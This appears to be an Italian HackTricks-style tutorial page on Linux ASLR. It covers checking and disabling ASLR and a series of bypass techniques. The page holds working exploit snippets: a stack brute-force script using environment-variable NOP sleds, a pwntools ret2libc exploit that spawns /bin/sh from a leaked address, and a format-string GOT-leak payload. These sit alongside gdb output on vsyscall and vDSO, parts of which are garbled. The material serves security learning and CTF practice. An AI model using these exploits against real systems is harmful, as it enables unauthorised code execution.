# ASLR {{#include ../../../banners/hacktricks-training.md}} ## Informazioni di Base **Address Space Layout Randomization (ASLR)** è una tecnica di sicurezza utilizzata nei sistemi operativi per **randomizzare gli indirizzi di memoria** utilizzati dai processi di sistema e applicazione. In questo modo, rende significativamente più difficile per un attaccante prevedere la posizione di processi e dati specifici, come lo stack, l'heap e le librerie, mitigando così alcuni tipi di exploit, in particolare i buffer overflow. ### **Controllare lo Stato di ASLR** Per **controllare** lo stato di ASLR su un sistema Linux, puoi leggere il valore dal file **`/proc/sys/kernel/randomize_va_space`**. Il valore memorizzato in questo file determina il tipo di ASLR applicato: - **0**: Nessuna randomizzazione. Tutto è statico. - **1**: Randomizzazione conservativa. Le librerie condivise, lo stack, mmap(), la pagina VDSO sono randomizzati. - **2**: Randomizzazione completa. Oltre agli elementi randomizzati dalla randomizzazione conservativa, la memoria gestita tramite `brk()` è randomizzata. Puoi controllare lo stato di ASLR con il seguente comando: ```bash cat /proc/sys/kernel/randomize_va_space ``` ### **Disabilitare ASLR** Per **disabilitare** ASLR, imposta il valore di `/proc/sys/kernel/randomize_va_space` a **0**. Disabilitare ASLR non è generalmente raccomandato al di fuori di scenari di test o debug. Ecco come puoi disabilitarlo: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` Puoi anche disabilitare ASLR per un'esecuzione con: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` ### **Abilitare ASLR** Per **abilitare** ASLR, puoi scrivere un valore di **2** nel file `/proc/sys/kernel/randomize_va_space`. Questo richiede tipicamente privilegi di root. L'abilitazione della randomizzazione completa può essere effettuata con il seguente comando: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **Persistenza Attraverso i Riavvii** Le modifiche apportate con i comandi `echo` sono temporanee e verranno ripristinate al riavvio. Per rendere la modifica persistente, è necessario modificare il file `/etc/sysctl.conf` e aggiungere o modificare la seguente riga: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` Dopo aver modificato `/etc/sysctl.conf`, applica le modifiche con: ```bash sudo sysctl -p ``` Questo garantirà che le impostazioni ASLR rimangano attive dopo i riavvii. ## **Bypasses** ### Forzatura brute-force a 32 bit PaX divide lo spazio degli indirizzi del processo in **3 gruppi**: - **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data` e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile è inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali. - **Memoria** allocata da `mmap()` e **librerie condivise** —> **16 bit**, chiamata `delta_mmap`. - **Lo stack** —> **24 bit**, indicato come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal 10° al 20° byte inclusi), allineati a **16 byte** —> Questo porta a **524.288 possibili indirizzi reali dello stack**. I dati precedenti sono per sistemi a 32 bit e l'entropia finale ridotta rende possibile bypassare ASLR riprovando l'esecuzione più e più volte fino a quando l'exploit non viene completato con successo. #### Idee per brute-force: - Se hai un overflow abbastanza grande da ospitare un **grande NOP sled prima del shellcode**, potresti semplicemente forzare gli indirizzi nello stack fino a quando il flusso **salta oltre una parte del NOP sled**. - Un'altra opzione per questo, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito localmente, è possibile **aggiungere il NOP sled e lo shellcode in una variabile d'ambiente**. - Se l'exploit è locale, puoi provare a forzare l'indirizzo base di libc (utile per sistemi a 32 bit): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` di `libc`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione. > [!TIP] > Nei sistemi a 64 bit, l'entropia è molto più alta e questo non dovrebbe essere possibile. ### Forzatura dello stack a 64 bit È possibile occupare una grande parte dello stack con variabili d'ambiente e poi provare ad abusare del binario centinaia/migliaia di volte localmente per sfruttarlo.\ Il seguente codice mostra come sia possibile **selezionare semplicemente un indirizzo nello stack** e ogni **pochi centinaia di esecuzioni** quell'indirizzo conterrà l'**istruzione NOP**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { unsigned long long address = 0xffffff1e7e38; unsigned int* ptr = (unsigned int*)address; unsigned int value = *ptr; printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); return 0; } ``` ```python import subprocess import traceback # Start the process nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { 'a': shellcode_env_var, 'b': shellcode_env_var, 'c': shellcode_env_var, 'd': shellcode_env_var, 'e': shellcode_env_var, 'f': shellcode_env_var, 'g': shellcode_env_var, 'h': shellcode_env_var, 'i': shellcode_env_var, 'j': shellcode_env_var, 'k': shellcode_env_var, 'l': shellcode_env_var, 'm': shellcode_env_var, 'n': shellcode_env_var, 'o': shellcode_env_var, 'p': shellcode_env_var, } cont = 0 while True: cont += 1 if cont % 10000 == 0: break print(cont, end="\r") # Define the path to your binary binary_path = './aslr-testing' try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if "0xd5" in str(output): print(str(cont) + " -> " + output) except Exception as e: print(e) print(traceback.format_exc()) pass ```
### Informazioni Locali (`/proc/[pid]/stat`) Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da tutti e **contiene informazioni interessanti** come: - **startcode** & **endcode**: Indirizzi sopra e sotto con il **TESTO** del binario - **startstack**: L'indirizzo dell'inizio dello **stack** - **start_data** & **end_data**: Indirizzi sopra e sotto dove si trova il **BSS** - **kstkesp** & **kstkeip**: Indirizzi attuali di **ESP** e **EIP** - **arg_start** & **arg_end**: Indirizzi sopra e sotto dove si trovano gli **argomenti cli**. - **env_start** &**env_end**: Indirizzi sopra e sotto dove si trovano le **variabili d'ambiente**. Pertanto, se l'attaccante si trova sullo stesso computer del binario sfruttato e questo binario non si aspetta il overflow da argomenti raw, ma da un diverso **input che può essere creato dopo aver letto questo file**. È possibile per un attaccante **ottenere alcuni indirizzi da questo file e costruire offset da essi per l'exploit**. > [!TIP] > Per ulteriori informazioni su questo file, controlla [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) cercando `/proc/pid/stat` ### Avere una leak - **La sfida è fornire una leak** Se ti viene fornita una leak (sfide CTF facili), puoi calcolare offset da essa (supponendo ad esempio che tu conosca la versione esatta di libc utilizzata nel sistema che stai sfruttando). Questo esempio di exploit è estratto da [**esempio da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (controlla quella pagina per ulteriori dettagli): ```python from pwn import * elf = context.binary = ELF('./vuln-32') libc = elf.libc p = process() p.recvuntil('at: ') system_leak = int(p.recvline(), 16) libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( 'A' * 32, libc.sym['system'], 0x0, # return address next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - **ret2plt** Abusando di un buffer overflow sarebbe possibile sfruttare un **ret2plt** per esfiltrare un indirizzo di una funzione dalla libc. Controlla: {{#ref}} ret2plt.md {{#endref}} - **Format Strings Arbitrary Read** Proprio come in ret2plt, se hai una lettura arbitraria tramite una vulnerabilità delle stringhe di formato è possibile esfiltrare l'indirizzo di una **funzione libc** dal GOT. Il seguente [**esempio è da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' payload += b'%3$s' # The third parameter points at the start of the buffer # this part is only relevant if you need to call the main function again payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` Puoi trovare ulteriori informazioni su Format Strings lettura arbitraria in: {{#ref}} ../../format-strings/ {{#endref}} ### Ret2ret & Ret2pop Prova a bypassare ASLR abusando degli indirizzi all'interno dello stack: {{#ref}} ret2ret.md {{#endref}} ### vsyscall Il meccanismo **`vsyscall`** serve a migliorare le prestazioni consentendo a determinate chiamate di sistema di essere eseguite nello spazio utente, anche se fanno parte fondamentalmente del kernel. Il vantaggio critico delle **vsyscalls** risiede nei loro **indirizzi fissi**, che non sono soggetti a **ASLR** (Address Space Layout Randomization). Questa natura fissa significa che gli attaccanti non richiedono una vulnerabilità di leak informativo per determinare i loro indirizzi e usarli in un exploit.\ Tuttavia, non si troveranno gadget super interessanti qui (anche se, ad esempio, è possibile ottenere un equivalente di `ret;`) (L'esempio e il codice seguenti sono [**da questo writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) Ad esempio, un attaccante potrebbe utilizzare l'indirizzo `0xffffffffff600800` all'interno di un exploit. Mentre tentare di saltare direttamente a un'istruzione `ret` potrebbe portare a instabilità o crash dopo aver eseguito un paio di gadget, saltare all'inizio di una `syscall` fornita dalla sezione **vsyscall** può rivelarsi un successo. Posizionando con attenzione un gadget **ROP** che porta l'esecuzione a questo indirizzo **vsyscall**, un attaccante può ottenere l'esecuzione di codice senza dover bypassare **ASLR** per questa parte dell'exploit. ``` ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```
### vDSO

Nota quindi come potrebbe essere possibile **bypassare ASLR abusando del vdso** se il kernel è compilato con CONFIG_COMPAT_VDSO poiché l'indirizzo vdso non sarà randomizzato. Per ulteriori informazioni controlla:


{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}